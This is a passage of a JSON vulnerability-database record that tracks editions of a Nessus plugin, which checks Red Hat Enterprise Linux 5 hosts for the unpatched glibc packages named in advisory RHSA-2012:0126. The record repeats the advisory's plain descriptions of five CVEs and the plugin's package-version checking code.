pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"glibc / glibc-common / glibc-devel / glibc-headers / glibc-utils / etc\");\n }\n}\n", "title": "RHEL 5 : glibc (RHSA-2012:0126)", "type": "nessus", "viewCount": 6}, "differentElements": ["cpe"], "edition": 2, "lastseen": "2017-01-06T02:13:35"}, {"bulletin": {"bulletinFamily": "exploit", "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "Updated glibc packages that fix multiple security issues are now available for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu Security Team acknowledges Dan Rosenberg as the original reporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these issues.", "edition": 1, "hash": "f0c1c20f29d3a9c25f7e64d6bdfdf872ab70189d5de703b086bf089067ac5a0c", "hashmap": [{"hash": "ad75a1683f957f79029a294f280f3834", "key": "sourceData"}, {"hash": "5a5a54611766f3da3ce3cb528f3027a4", "key": "references"}, {"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "6f8115c44826ba13de903bb0d26a7d5b", "key": "cvelist"}, {"hash": "7962711bd7650e97eb287d800fd6fd3a", "key": "description"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "2c579aa4e476f52de92baf9b41b1db07", "key": "title"}, {"hash": "7c885de43ac8c8fec677c5a50f1ca9e9", "key": "published"}, {"hash": "3b4231700df65bd1e280187eabbb0395", "key": "pluginID"}, {"hash": "e8bafdc9ad5c6f47fe1e6e5fd509b7a9", "key": "cvss"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "de38beaee21e66bc5dbf54f5a2409885", "key": "modified"}, {"hash": "c4f16ed276157b63b39f28c10395355d", "key": "href"}, {"hash": "b46559ea68ec9a13474c3a7776817cfd", "key": "naslFamily"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=57929", "id": "REDHAT-RHSA-2012-0126.NASL", "lastseen": "2016-09-26T17:23:08", "modified": "2014-11-17T00:00:00", "naslFamily": "Red Hat Local Security Checks", "objectVersion": "1.2", "pluginID": "57929", "published": "2012-02-14T00:00:00", "references": ["http://rhn.redhat.com/errata/RHSA-2012-0126.html", "https://www.redhat.com/security/data/cve/CVE-2011-4609.html", "https://www.redhat.com/security/data/cve/CVE-2011-1089.html", "https://www.redhat.com/security/data/cve/CVE-2010-0830.html", "https://www.redhat.com/security/data/cve/CVE-2009-5029.html", "https://www.redhat.com/security/data/cve/CVE-2009-5064.html"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0126. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(57929);\n script_version (\"$Revision: 1.11 $\");\n script_cvs_date(\"$Date: 2014/11/17 20:04:01 $\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\", \"CVE-2011-4609\");\n script_bugtraq_id(40063, 46740, 50898, 51439);\n script_osvdb_id(65077, 74278, 74883, 77508, 78316);\n script_xref(name:\"RHSA\", value:\"2012:0126\");\n\n script_name(english:\"RHEL 5 : glibc (RHSA-2012:0126)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated glibc packages that fix multiple security issues are now\navailable for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically\nlinked libraries. If an attacker could trick a user into running ldd\non a malicious binary, it could result in arbitrary code execution\nwith the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to\ncrash or, potentially, execute arbitrary code with the privileges of\nthe user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various\nmount helper utilities, did not handle certain errors correctly when\nupdating the mtab (mounted file systems table) file. If such utilities\nhad the setuid bit set, a local attacker could use this flaw to\ncorrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The\nUbuntu Security Team acknowledges Dan Rosenberg as the original\nreporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these\nissues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5029.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5064.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2010-0830.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-1089.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-4609.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://rhn.redhat.com/errata/RHSA-2012-0126.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:ND/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:5\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/02/14\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2014 Tenable Network Security, Inc.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = eregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^5([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 5.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"RHEL5\", reference:\"glibc-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", reference:\"glibc-devel-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"glibc / glibc-common / glibc-devel / glibc-headers / glibc-utils / etc\");\n}\n", "title": "RHEL 5 : glibc (RHSA-2012:0126)", "type": "nessus", "viewCount": 0}, "differentElements": ["modified", "sourceData"], "edition": 1, "lastseen": "2016-09-26T17:23:08"}, {"bulletin": {"bulletinFamily": "scanner", "cpe": ["cpe:/o:redhat:enterprise_linux:5", "p-cpe:/a:redhat:enterprise_linux:glibc-utils", "p-cpe:/a:redhat:enterprise_linux:glibc", "p-cpe:/a:redhat:enterprise_linux:glibc-common", "p-cpe:/a:redhat:enterprise_linux:glibc-devel", "p-cpe:/a:redhat:enterprise_linux:nscd", "p-cpe:/a:redhat:enterprise_linux:glibc-headers"], "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "Updated glibc packages that fix multiple security issues are now available for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu Security Team acknowledges Dan Rosenberg as the original reporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these issues.", "edition": 3, "enchantments": {"score": {"modified": "2017-10-29T13:33:18", "value": 6.9}}, "hash": "ac5caa4623a6837410dc5754ac7267ce4e0615b9818ccfa656c6599ea90db332", "hashmap": [{"hash": "5a5a54611766f3da3ce3cb528f3027a4", "key": "references"}, {"hash": "b7f00b70496e4f2268229628988b3711", "key": "sourceData"}, {"hash": "ae0665ae2f88d638e0907d932dfcc493", "key": "cpe"}, {"hash": "369eb856f7dc4cfd31b9acc3c0811267", "key": "modified"}, {"hash": "6f8115c44826ba13de903bb0d26a7d5b", "key": "cvelist"}, {"hash": "7962711bd7650e97eb287d800fd6fd3a", "key": "description"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "2c579aa4e476f52de92baf9b41b1db07", "key": "title"}, {"hash": "7c885de43ac8c8fec677c5a50f1ca9e9", "key": "published"}, {"hash": "3b4231700df65bd1e280187eabbb0395", "key": "pluginID"}, {"hash": "e8bafdc9ad5c6f47fe1e6e5fd509b7a9", "key": "cvss"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "c4f16ed276157b63b39f28c10395355d", "key": "href"}, {"hash": "b46559ea68ec9a13474c3a7776817cfd", "key": "naslFamily"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=57929", "id": "REDHAT-RHSA-2012-0126.NASL", "lastseen": "2017-10-29T13:33:18", "modified": "2017-01-05T00:00:00", "naslFamily": "Red Hat Local Security Checks", "objectVersion": "1.3", "pluginID": "57929", "published": "2012-02-14T00:00:00", "references": ["http://rhn.redhat.com/errata/RHSA-2012-0126.html", "https://www.redhat.com/security/data/cve/CVE-2011-4609.html", "https://www.redhat.com/security/data/cve/CVE-2011-1089.html", "https://www.redhat.com/security/data/cve/CVE-2010-0830.html", "https://www.redhat.com/security/data/cve/CVE-2009-5029.html", "https://www.redhat.com/security/data/cve/CVE-2009-5064.html"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0126. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(57929);\n script_version (\"$Revision: 1.12 $\");\n script_cvs_date(\"$Date: 2017/01/05 16:04:21 $\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\", \"CVE-2011-4609\");\n script_bugtraq_id(40063, 46740, 50898, 51439);\n script_osvdb_id(65077, 74278, 74883, 77508, 78316);\n script_xref(name:\"RHSA\", value:\"2012:0126\");\n\n script_name(english:\"RHEL 5 : glibc (RHSA-2012:0126)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated glibc packages that fix multiple security issues are now\navailable for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically\nlinked libraries. If an attacker could trick a user into running ldd\non a malicious binary, it could result in arbitrary code execution\nwith the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to\ncrash or, potentially, execute arbitrary code with the privileges of\nthe user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various\nmount helper utilities, did not handle certain errors correctly when\nupdating the mtab (mounted file systems table) file. If such utilities\nhad the setuid bit set, a local attacker could use this flaw to\ncorrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The\nUbuntu Security Team acknowledges Dan Rosenberg as the original\nreporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these\nissues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5029.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5064.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2010-0830.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-1089.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-4609.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://rhn.redhat.com/errata/RHSA-2012-0126.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:ND/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:5\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/02/14\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2017 Tenable Network Security, Inc.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = eregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^5([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 5.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2012:0126\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL5\", reference:\"glibc-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", reference:\"glibc-devel-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"glibc / glibc-common / glibc-devel / glibc-headers / glibc-utils / etc\");\n }\n}\n", "title": "RHEL 5 : glibc (RHSA-2012:0126)", "type": "nessus", "viewCount": 6}, "differentElements": ["modified", "sourceData"], "edition": 3, "lastseen": "2017-10-29T13:33:18"}], "edition": 5, "hashmap": [{"key": "bulletinFamily", "hash": "bbdaea376f500d25f6b0c1050311dd07"}, {"key": "cpe", "hash": "ae0665ae2f88d638e0907d932dfcc493"}, {"key": "cvelist", "hash": "6f8115c44826ba13de903bb0d26a7d5b"}, {"key": "cvss", "hash": "e8bafdc9ad5c6f47fe1e6e5fd509b7a9"}, {"key": "description", "hash": "7962711bd7650e97eb287d800fd6fd3a"}, {"key": "href", "hash": "c4f16ed276157b63b39f28c10395355d"}, {"key": "modified", "hash": "8825cfcc6a68eb22807158b2fdce98f8"}, {"key": "naslFamily", "hash": "b46559ea68ec9a13474c3a7776817cfd"}, {"key": "pluginID", "hash": "3b4231700df65bd1e280187eabbb0395"}, {"key": "published", "hash": "7c885de43ac8c8fec677c5a50f1ca9e9"}, {"key": "references", "hash": "5a5a54611766f3da3ce3cb528f3027a4"}, {"key": "reporter", "hash": "9cf00d658b687f030ebe173a0528c567"}, {"key": "sourceData", "hash": "7dd1d3f0577cd1e5fd960493c5598946"}, {"key": "title", "hash": "2c579aa4e476f52de92baf9b41b1db07"}, {"key": "type", "hash": "5e0bd03bec244039678f2b955a2595aa"}], "hash": "bc1b07386c4ebe028ae7faf5924a6b729cc27b2f35f73ce0132026cc3621dd81", "viewCount": 6, "enchantments": {"score": {"value": 7.2, "vector": "NONE"}, "vulnersScore": 7.2}, "objectVersion": "1.3", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0126. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(57929);\n script_version (\"1.14\");\n script_cvs_date(\"Date: 2018/07/25 18:58:06\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\", \"CVE-2011-4609\");\n script_bugtraq_id(40063, 46740, 50898, 51439);\n script_xref(name:\"RHSA\", value:\"2012:0126\");\n\n script_name(english:\"RHEL 5 : glibc (RHSA-2012:0126)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated glibc packages that fix multiple security issues are now\navailable for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity 